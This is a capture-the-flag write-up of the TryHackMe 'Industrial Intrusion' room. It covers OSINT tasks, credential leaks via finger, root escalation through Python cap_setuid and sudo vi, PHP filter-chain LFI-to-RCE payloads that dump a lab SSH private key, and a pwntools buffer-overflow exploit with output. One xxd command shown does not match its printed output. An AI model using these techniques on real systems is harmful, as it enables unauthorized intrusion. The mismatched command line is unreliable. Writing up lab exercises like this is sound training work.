Industrial Intrusion CTF
Introduction
I was invited to this CTF by a colleague, but I participated on my own (technically with my university team).
The CTF is structured as a TryHackMe room, which is sequential. I’m putting all of the tasks into this single document.
Task 4
In the description of the channel #ctf-discord-challenge
, it shows a function that can be called.
Running /secret-function
shows the flag: THM{D15C0RD_57A5H_C0MM4ND5}
.
Task 5
In searching for DNS records for virelia-water.it.com
, I found a DNS site that showed history for https://stage0.virelia-water.it.com/. This URL had an “ICS Operator Console” with a network request to https://raw.githubusercontent.com/SanTzu/uplink-config/refs/heads/main/init.js, which had this content:
1
2
3
4
5
var beacon = {
session_id: "O-TX-11-403",
fallback_dns: "uplink-fallback.virelia-water.it.com",
token: "JBSWY3DPEBLW64TMMQQQ=="
};
The subdomain stage0
can be found “properly” by navigating to https://github.com/SanTzu and looking at his followers. One of them is https://github.com/solstice-tech1, which has a file called CNAME which contains stage0.virelia-water.it.com
.
The flag for this task can be found in the other repository, here: https://github.com/solstice-tech1/ot-auth-mirror/blob/main/index.html
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="refresh" content="0;url=https://54484d7b5375357373737d.virelia-water.it.com/reset">
<title>Redirecting...</title>
</head>
<body>
<p>Redirecting to internal password reset portal...</p>
</body>
</html>
This is hex for the flag:
1
2
$ echo 48656c6c6f20576f726c64 | xxd -r -p
THM{Su5sss}
Task 6
Running a dig
command on uplink-fallback.virelia-water.it.com
shows this:
1
2
3
4
5
6
7
8
$ dig uplink-fallback.virelia-water.it.com TXT
...
;; ANSWER SECTION:
uplink-fallback.virelia-water.it.com. 1799 IN TXT "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0="
...
Decrypting shows the flag:
1
2
$ echo "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=" | base64 --decode
{"session":"T-CN1-172","flag":"THM{uplink_channel_confirmed}"}
Task 7
The PGP key can be found here: https://github.com/virelia-water/compliance/commit/bf80b28d73cdbbccaa37c34633de98cd00e7b236
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----
iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----
Using GPG to verify the signature, you can find the flag:
1
2
3
4
5
6
7
8
9
$ gpg --verify task7.txt
gpg: Signature made Mon 23 Jun 2025 08:44:52 AM EDT
gpg: using RSA key 88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg: issuer "[email protected]"
gpg: Can't check signature: No public key
$ gpg --keyserver keyserver.ubuntu.com --recv-keys 0x88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg: key F8ED5BC28874364F: public key "Ghost (THM{h0pe_th1s_k3y_doesnt_le4d_t0_m3}) <[email protected]>" imported
gpg: Total number processed: 1
gpg: imported: 1
Task 15
We began with an nmap that showed that finger and a website were available.
1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 14:08 EDT
Nmap scan report for 10.10.174.228
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
79/tcp open finger
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds
The website was a static HTML chess page that described the roles of Magnus, Fabiano, and Hikaru.
Using finger, I found a base64 encoded string for Fabiano.
1
2
3
4
5
6
7
8
9
10
$ nc 10.10.174.228 79
fabiano
Login: fabiano Name:
Directory: /home/fabiano Shell: /bin/bash
Never logged in.
No mail.
Project:
Reminders
Plan:
ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=
1
2
$ echo "ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=" | base64 --decode
fabiano:o3jVTktarGQI07q
This was the SSH password, so we found the user.txt
flag:
1
2
fabiano@tryhackme-2204:~$ cat user.txt
THM{bishop_to_c4_check}
It looked like downloading scripts from the internet was disabled, but I could upload linpeas.sh via sftp. Running it showed this: /usr/bin/python3.10 cap_setuid=ep
. This meant that Python could become root and find the root.txt
flag:
1
2
3
fabiano@tryhackme-2204:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@tryhackme-2204:/root# cat root.txt
THM{check_check_check_mate}
Task 16
As always, we begin with an nmap:
1
2
3
4
5
6
7
8
9
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 15:14 EDT
Nmap scan report for 10.10.77.239
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
There’s only a webpage, which is short enough to include here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Industrial Dev Solutions</title>
<link rel="stylesheet" href="assets/style.css">
</head>
<body>
<nav>
<div class="logo">Industrial Dev Solutions</div>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="view.php?page=about.php">About</a></li>
<li><a href="view.php?page=solutions.php">Solutions</a></li>
<li><a href="view.php?page=contact.php">Contact</a></li>
</ul>
</nav>
<main>
<h1>Welcome to Industrial Dev Solutions</h1>
<p>Your trusted partner in industrial IoC and control-system software.</p>
<a href="view.php?page=about.php" class="button">Learn More</a>
</main>
<footer>
© 2025 Industrial Dev Solutions – All rights reserved.
</footer>
</body>
</html>
Immediately, we can see that there is likely a local file inclusion vulnerability in the way it handles links. In PHP, an LFI can lead to RCE. I like to use this script to generate payloads.
1
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("ls -la");?>' | tail -n1)"
This generates a very long payload, but it runs the ls
command on the system, which shows that there is a keys
directory.
1
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("cat keys/*");?>' | tail -n1)"
This prints out an SSH private key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I verified this using ssh-keygen -y
:
1
2
$ ssh-keygen -y -f key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1hhXA5clq0LpiUF8Xdc6yNwZ2yTBL2IsioJtKM3YGojYSIxikvnbBmL6PGX3gxO8yafhT8odxZ2QPtIwIH0uYlTL0GJf+fFsYTwD8EKJFD2BLjmPPbixYseH6sAZ3h6+BTYM8FSR1ljbcf71pKnYb22XuSBuTE29WeTTIv4/vea6Jpa3ZtJlBXoDPORVFOxYDzYgulJuXh/JUV8gUefDzl9RzzDowlPMACVbYo9TzjyzGR4lLIJGfdg1mCHos3UmrZQuFOZreVAeYmoEG0fy7eb8mi2yTAygxQTWR0cL2Mcs+ahQED/V2CdgNJY1+IcuLMoAis9LyBXMQwmzHCx4jcurEScCtoUSdJ9EF5xyZP0MvcNgRkh48bu5ca72Y+sBjZEK2/l123yzvXwXwvQbPJTolmOlOeLNcrURiScUF6EmgUMAbF+Ib9hU48sNYJ4mdegKcSK6rqXgpwk900ZfACVagTD+WpfzNlBLcclaqGksdv3DIHTzVM1xkwEHdt68= dev@tryhackme-2404
We can also see that the username is dev
, which we could also verify using the LFI2RCE to run ls /home
.
We have the user flag:
1
2
3
$ ssh -i key [email protected]
dev@tryhackme-2404:~$ cat user.txt
THM{nic3_j0b_You_got_it_w00tw00t}
Inspecting the rest of the files, we can see a .bash_history
. Of interest is sudo commands:
1
2
3
4
5
sudo -l
exit
sudo -l
vi
sudo vi
Running sudo -l
we can see that the dev
user is allowed to run sudo vi
, allowing us to see the root flag:
1
dev@tryhackme-2404:~$ sudo vi /root/root.txt
1
THM{y0u_g0t_it_welldoneeeee}
Task 28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
exe = ELF("./start")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("10.10.170.100", 9008)
return r
def main():
r = conn()
# good luck pwning :)
offset = 0x30 + 8
payload = flat({
offset: exe.sym["print_flag"]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[*] '/tmp/thm/start'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 10.10.170.100 on port 9008: Done
[*] Switching to interactive mode
Enter your username: Welcome, admin!
THM{nice_place_t0_st4rt}
THM{nice_place_t0_st4rt}
[*] Got EOF while reading in interactive